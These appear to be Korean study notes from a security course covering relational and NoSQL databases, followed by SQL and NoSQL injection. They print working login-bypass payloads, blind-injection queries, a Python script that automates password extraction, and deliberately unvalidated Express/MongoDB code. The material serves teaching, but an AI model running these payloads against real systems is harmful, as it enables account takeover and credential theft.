Background: Relational DBMS
1. DataBase Management System
1.1. 데이터베이스 관리 시스템
웹 서비스는 데이터베이스에 정보를 저장하고 관리하기 위해 DBMS(DataBase Management System)을 사용
데이터베이스에 새로운 정보를 기록하거나, 기록된 내용을 수정, 삭제하는 역할을 함
- 다수의 사람이 동시에 데이터베이스에 접근할 수 있음
- 웹 서비스의 검색 기능과 같이 복잡한 요구사항을 만족하는 데이터를 조회할 수 있음
DBMS 종류
종류 대표적인 DBMS
Relational (관계형) | MySQL, MariaDB, PostgreSQL, SQLite |
Non-Relational (비관계형) | MongoDB, CouchDB, Redis |
- 관계형은 행과 열의 집합인 테이블의 형식으로 데이터를 저장
- 비관계형은 테이블 형식이 아닌 키-값(Key-Value) 형태로 값을 저장
2. Relational DBMS
2.1. Relational DBMS
1970년에 Codds가 12가지 규칙을 정의하여 생성한 데이터베이스 모델
- 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리
- 테이블 형식의 데이터를 조작할 수 있는 관계 연산자를 제공
- Codds는 12가지 규칙을 정의했지만, 실제로 구현된 RDBMS는 12가지 규칙을 모두 따르지 않고, 최소한의 조건으로 앞의 두 조건을 만족하는 DBMS를 RDBMS라고 부르게 됨
- 관계 연산자는 SQL(Structured Query Language)라는 쿼리 언어를 사용하고, 쿼리를 통해 테이블 형식의 데이터를 조작
2.2. SQL
RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어
- 구조화된 형태를 가지는 언어로 웹 어플리케이션의 DBMS와 상호작용할 때 사용
DDL (Data Definition Language) | 데이터를 정의하기 위한 언어. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행 |
DML (Data Manipulation Language) | 데이터를 조작하기 위한 언어. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행 |
DCL (Data Control Language) | 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어. 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE가 대표적 |
2.3. DDL
- 데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며, DDL을 사용해야 함
- DDL의 CREATE명령을 사용해 새로운 데이터베이스 또는 테이블을 생성할 수 있음
데이터베이스 생성
CREATE DATABASE Dreamhack;
- Dreamhack이라는 데이터베이스를 생성하는 쿼리문
테이블 생성
USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board(
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);
- 앞서 생성한 데이터베이스에 Board 테이블을 생성하는 쿼리문
2.4. DML
생성된 테이블에 데이터를 추가하기 위해 DML을 사용
테이블 데이터 생성
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World !',
Now()
);
- Board 테이블에 데이터를 삽입하는 쿼리문
테이블 데이터 조회
SELECT
boardTitle, boardContent
FROM
Board
Where
idx=1;
- Board 테이블의 데이터를 조회하는 쿼리문
테이블 데이터 변경
UPDATE Board SET boardContent='DreamHack!'
Where idx=1;
- Board 테이블의 컬럼 값을 변경하는 쿼리문
ServerSide: SQL Injection
1. SQL Injection
1.1. SQL Injection
이용자가 SQL 구문에 임의 문자열을 삽입하는 행위
- SQL은 DBMS에 데이터를 질의하는 언어
- 웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있음
로그인 기능을 위한 쿼리
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
- 로그인 할 때 애플리케이션이 DBMS에 질의하는 예시
- 이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있음
SQL Injection으로 조작한 쿼리
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
- SQL Injection으로 조작한 쿼리문
- user_pw조건문이 사라진 것을 확인할 수 있음
- 조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있음
1.2. Simple SQL Injection
- SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야 함
- 이용자의 입력값이 SQL 구문으로 해석되도록 하기 위해서는 ' 문자열을 입력하는 방법이 있음
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
- uid에 admin' or '1을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문
- uid가 “admin”인 데이터는 admin의 결과를 반환
- 이전의 식이 참(True)이고, upw가 없는 경우, 아무런 결과도 반환하지 않음
- uid가 “admin”인 데이터를 반환하므로 관리자 계정으로 로그인할 수 있음
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
- 이외에도 주석(--, #, /**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있음
1.3. Blind SQL Injection
질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법
- 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있음
- DBMS가 답변 가능한 형태로 질문하면서 dreamhack 계정의 비밀번호인 password를 알아낼 수 있음
ascii
전달된 문자를 아스키 형태로 반환하는 함수
ascii('a')를 실행하면 ‘a’ 문자의 아스키 값인 97을 반환
substr
문자열에서 지정한 위치부터 길이까지의 값을 가져옴
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
Blind SQL Injection 공격 쿼리
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
- 두 번째 조건에서, upw의 첫 번째 값을 아스키 형태로 변환한 값이 114(’r’) 또는 115(’s’)인지 질의
- 질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있음
- 로그인이 실패할 경우 첫 번째 문자가 ‘r’이 아님을 의미
- 쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있음
1.4. Blind SQL Injection 공격 스크립트
- 한 바이트씩 비교하여 공격하는 방식이므로 다른 공격에 비해 많은 시간을 들여야 함
- 공격을 자동화하는 스크립트를 작성하는 방법이 있음
- request 모듈: 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있고, 응답 또한 확인할 수 있음
requests 모듈 GET 예제 코드
import requests
url = '<https://dreamhack.io/>'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
- requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드
- requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있음
requests 모듈 POST 예제 코드
import requests
url = '<https://dreamhack.io/>'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
- HTTP의 POST 메소드 통신을 하는 예제 코드
- requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Body와 함께 요청을 전송할 수 있음
- GET, POST 메소드 이외에도 다양한 메소드를 사용해 요청을 전송할 수 있음
1.5. Blind SQL Injection 공격 스크립트 작성
- 공격하기 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 함
- 비밀번호의 경우, 알파벳과 숫자, 특수 문자로 이뤄짐
- 이를 아스키 범위로 나타내면 32부터 126까지의 모든 문자
Blind SQL Injection 공격 스크립트
#!/usr/bin/python3
import requests
import string
url = '<http://example.com/login>' # example URL
params = {
'uid': '',
'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
- 비밀번호에 포함될 수 있는 문자를 string모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성
- 반복문 실행 중에 반환 결과가 참인 경우에 페이지에 표시되는 “Login success” 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장
- 반복문을 마치면 “admin” 계정의 비밀번호를 알아낼 수 있음
$ python3 bsqli.py
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D97--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D98--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D99--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D100--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D101--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D102--&upw=>
Background: Non-Relational DBMS
1. 비관계형 데이터베이스
1.1. 비관계형 데이터베이스
- RDBMS는 SQL을 사용해 데이터를 조회 및 추가, 삭제할 수 있음
- NoSQL은 SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간인 것이 큰 특징
- SQL이라는 정해진 문법을 통해 데이터를 저장하기 때문에 한 가지의 언어로 다양한 DBMS을 사용할 수 있음
- NoSQL은 Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야한다는 단점이 있음
2. MongoDB
2.1. MongoDB
JSON 형태인 도큐먼트(Document)를 저장
특징
- 스키마를 따로 정의하지 않아 각 콜렉션(Collection)에 대한 정의가 필요하지 않음
- JSON 형식으로 쿼리를 작성할 수 있음
- _id 필드가 Primary Key 역할을 함
MongoDB 사용 예시
$ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })
> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }
- MongoDB에서 데이터를 삽입하고, 조회하는 쿼리의 예시
RDBMS
SELECT * FROM inventory WHERE status = "A" and qty < 30;
MongoDB
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
- 각 DBMS에서 status의 값이 “A”이고, qty의 값이 30보다 작은 데이터를 조회하는 쿼리
- MongoDB의 경우 $문자를 통해 연산자를 사용할 수 있음
2.2. MongoDB 연산자
Comparison
Name | Description |
$eq | 지정된 값과 같은 값을 찾음 (equal) |
$in | 배열 안의 값들과 일치하는 값을 찾음 (in) |
$ne | 지정된 값과 같지 않은 값을 찾음 (not equal) |
$nin | 배열 안의 값들과 일치하지 않는 값을 찾음 (not in) |
Logical
Name | Description |
$and | 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환 |
$not | 쿼리 식의 효과를 반전. 쿼리 식과 일치하지 않는 문서를 반환 |
$nor | 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환 |
$or | 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환 |
Element
Name | Description |
$exists | 지정된 필드가 있는 문서를 찾음 |
$type | 지정된 필드가 지정된 유형인 문서를 선택 |
Evaluation
Name | Description |
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있음 |
$regex | 지정된 정규식과 일치하는 문서를 선택 |
$text | 지정된 텍스트를 검색 |
2.3. 기본 문법
SELECT
SQL
SELECT * FROM account;
SELECT * FROM account WHERE user_id="admin";
SELECT user_idx FROM account WHERE user_id="admin";
MongoDB
db.account.find()
db.account.find(
{user_id: "admin"}
)
db.account.find(
{ user_id: "admin" },
{ user_idx:1, _id:0 }
)
INSERT
SQL
INSERT INTO account(
user_id,
user_pw,
) VALUES ("guest", "guest");
MongoDB
db.account.insert({
user_id: "guest",
user_pw: "guest"
})
DELETE
SQL
DELETE FROM account;
DELETE FROM account WHERE user_id="guest";
MongoDB
db.account.remove()
db.account.remove( {user_id: "guest"} )
UPDATE
SQL
UPDATE account SET user_id="guest2" WHERE user_idx=2;
MongoDB
db.account.update(
{user_idx: 2},
{ $set: { user_id: "guest2" } }
)
3. Redis
3.1. Redis
키-값(Key-Value)의 쌍을 가진 데이터를 저장
- 다른 데이터베이스와 다르게 메모리 기반의 DBMS
- 메모리를 사용해 데이터를 저장하고 접근하기 때문에, 읽고 쓰는 작업이 다른 DBMS에 비해 훨씬 빠름
- 다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주로 사용
redis 명령어 사용 예시
$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"
- Redis에서 데이터를 추가하고 조회하는 명령어의 예시
데이터 조회 및 조작 명령어
명령어 구조 설명
명령어 | 구조 | 설명 |
GET | GET key | 데이터 조회 |
MGET | MGET key [key …] | 여러 데이터를 조회 |
SET | SET key value | 새로운 대이터를 추가 |
MSET | MSET key value [key value …] | 여러 데이터를 추가 |
DEL | DEL key [key …] | 데이터 삭제 |
EXISTS | EXISTS key [key …] | 데이터 유무 확인 |
INCR | INCR key | 데이터 값에 1 더함 |
DECR | DECR key | 데이터 값에 1 뺌 |
관리 명령어
명령어 구조 설명
명령어 | 구조 | 설명 |
INFO | INFO [section] | DBMS 정보 조회 |
CONFIG GET | CONFIG GET paramenter | 설정 조회 |
CONFIG SET | CONFIG SET parameter value | 새로운 설정을 입력 |
4. CouchDB
4.1. Couch DB
MongoBD와 같이 JSON 형태인 도큐먼트를 저장
웹 기반의 DBMS로, REST API 형식으로 요청을 처리
메소드 기능 설명
POST | 새로운 레코드를 추가 |
GET | 레코드를 조회 |
PUT | 레코드를 업데이터 |
DELETE | 레코드를 삭제 |
CouchDB 레코드 업데이트 및 조회 예시
$ curl -X PUT <http://{username}:{password}@localhost:5984/users/guest> -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
$ curl <http://{username}:{password}@localhost:5984/users/guest>
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
4.2. 특수 구성 요소
- CouchDB에서는 서버 또는 데이터베이스를 위해 다양한 기능을 제공
- _문자로 시작하는 URL, 필드는 특수 구성 요소를 나타냄
SERVER
요소 설명
/ | 인스턴스에 대한 메타 정보를 반환 |
/_all_dbs | 인스턴스의 데이터베이스 목록을 반환 |
/_utils | 관리자페이지로 이동 |
Database
요소 설명
/db | 지정된 데이터베이스에 대한 정보를 반환 |
/{db}/_all_docs | 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환 |
/{db}/_find | 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환 |
ServerSide: NoSQL Injection
1. NoSQL Injection
1.1. NoSQL Injection
- SQL Injection과 공격 목적 및 방법이 매우 유사
- 이용자의 입력값이 쿼리에 포함되면서 발생하는 문제점
- MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생
- MongoDB는 데이터 자료형으로 문자열, 정수, 날짜, 실수 외에도 오브젝트, 배열 타입을 사용할 수 있음
- 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있고, 다양한 행위가 가능
express 데이터 처리 방식
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
- NodeJS의 Express 프레임워크로 개발된 예제 코드
- 이용자의 입력값과 타입을 출력하는데, req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있음
실행 결과
<http://localhost:3000/?data=1234>
data: 1234
type: string
<http://localhost:3000/?data[]=1234>
data: [ '1234' ]
type: object
<http://localhost:3000/?data[]=1234&data[]=5678>
data: [ '1234', '5678' ]
type: object
<http://localhost:3000/?data[5678]=1234>
data: { '5678': '1234' }
type: object
<http://localhost:3000/?data[5678]=1234&data=0000>
data: { '5678': '1234', '0000': true }
type: object
<http://localhost:3000/?data[5678]=1234&data[]=0000>
data: { '0': '0000', '5678': '1234' }
type: object
<http://localhost:3000/?data[5678]=1234&data[1111]=0000>
data: { '1111': '0000', '5678': '1234' }
type: object
- 각각의 타입을 입력
- 일반적인 문자열 외에 오브젝트 타입을 삽입할 수 있는 것을 확인할 수 있음
1.2. NoSQL Injection 예시
- MongoDB는 문자열이 아닌 타입의 값을 입력할 수 있고, 이를 통해 연산자를 사용할 수 있음
MongoDB NoSQL Injection Example
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
- user 콜렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고 출력하는 예제 코드
- 이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있음
- 오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있음
- $ne연산자는 not equl의 약자로, 입력한 데이터와 일치하지 않은 데이터를 반환
- 공격자는 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있음
연산자를 사용해 계정 정보를 알아낸 모습
<http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a>
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
- $ne연산자를 사용해 uid와 upw가 ‘a’가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과
1.3. NoSQL Injection 실습
모듈 구성 코드
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.post('/query', function(req,res) {
db.collection('user').find({
'uid': req.body.uid,
'upw': req.body.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(80, function(){
console.log('app.listen');
});
- 입력한 값이 해당할 경우 해당 데이터를 출력
- “admin” 계정의 비밀번호 획득
- upw에 not equl($ne) 연산자를 이용하여 upw값에 상관없이 uid가 “admin”인 데이터를 조회할 수 있음
- {"uid": "admin", "upw": {"$ne":""} }
2. Blind NoSQL Injection
2.1. Blind NoSQL Injection
- NoSQL Injection은 인증 우회 외에도 데이터베이스의 정보를 알아낼 수 있음
- Blind NoSQL Injection을 사용하여 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있음
- MongoDB에서는 $regex, $where연산자를 사용해 Blind NoSQL Injection을 할 수 있음
Name Description
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있음 |
$regex | 지정된 정규식과 일치하는 문서를 선택 |
$text | 지정된 텍스트를 검색 |
$where | JavaScript 표현식을 만족하는 문서와 일치 |
$regex
정규식을 사용해 식과 일치하는 데이터를 조회
- regex 연산자를 활용한 Blind NoSQL Injection
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
- upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시
$where
표현식
- where 연산자와 표현식
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
- 해당 연산자는 field에서 사용할 수 없는 것을 확인할 수 있음
- 인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회
substring
- where 연산자와 substring
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
- upw의 첫 글자를 비교해 데이터를 알아내는 쿼리
- 해당 연산자로 Javascript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있음
- Sleep 함수를 통한 Time based Injection표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있음
- upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep함수를 실행하는 쿼리
- db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`}); /* /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1 ... /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1 => 시간 지연 발생. */
- MongoDB는 sleep함수를 제공
Error based Injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
- upw의 첫 글자가 ‘g’ 문자인 경우, 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생
- 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킴
3. Blind NoSQL Injection 실습
3.1. Blind NoSQL Injection 실습
모듈 구성 코드
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').findOne({
'uid': req.body.uid,
'upw': req.body.upw
}, function(err, result){
if (err) throw err;
console.log(result);
if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
const server = app.listen(80, function(){
console.log('app.listen');
});
- 로그인에 성공할 경우 uid를 출력
- “admin” 계정의 비밀번호를 획득
3.2. Blind NoSQL Injection 실습 풀이
비밀번호 길이 획득
- 관리자 계정의 비밀번호 길이를 알아냄
- 정규식을 사용하면 쉽게 알아낼 수 있음
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
- .{5}와 .{6}식을 통해 비밀번호의 길이를 알아낼 수 있음
- .{5}식의 경우 uid를 반환하지만, .{6}식에서는 올바르지 않은 uid를 반환하는 것을 확인할 수 있음
비밀번호 획득
- 비밀번호를 획득하기 위해서 $regex연산자를 사용할 수 있음
- 정규식 중 ^는 입력의 시작부분을 나타냄
- 해당 문자를 사용해 비밀번호를 한 글자씩 알아낼 수 있음
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
- 정규식을 통해 한 글자씩 비교하는 쿼리
- 각 식에 해당하는 반환 결과를 통해 비밀번호를 알아낼 수 있음
'Security Study > Web' 카테고리의 다른 글
[Dreamhack] File Vulnerability (0) | 2024.05.13 |
---|---|
[Dreamhack] Command Injection (0) | 2024.04.12 |
[Dreamhack] Cross Site Request Forgery (CSRF) (2) | 2024.02.14 |
[Dreamhack] Cross-Site-Scripting (XSS) (2) | 2024.02.09 |
[Dreamhack] Cookie & Session (2) | 2024.02.07 |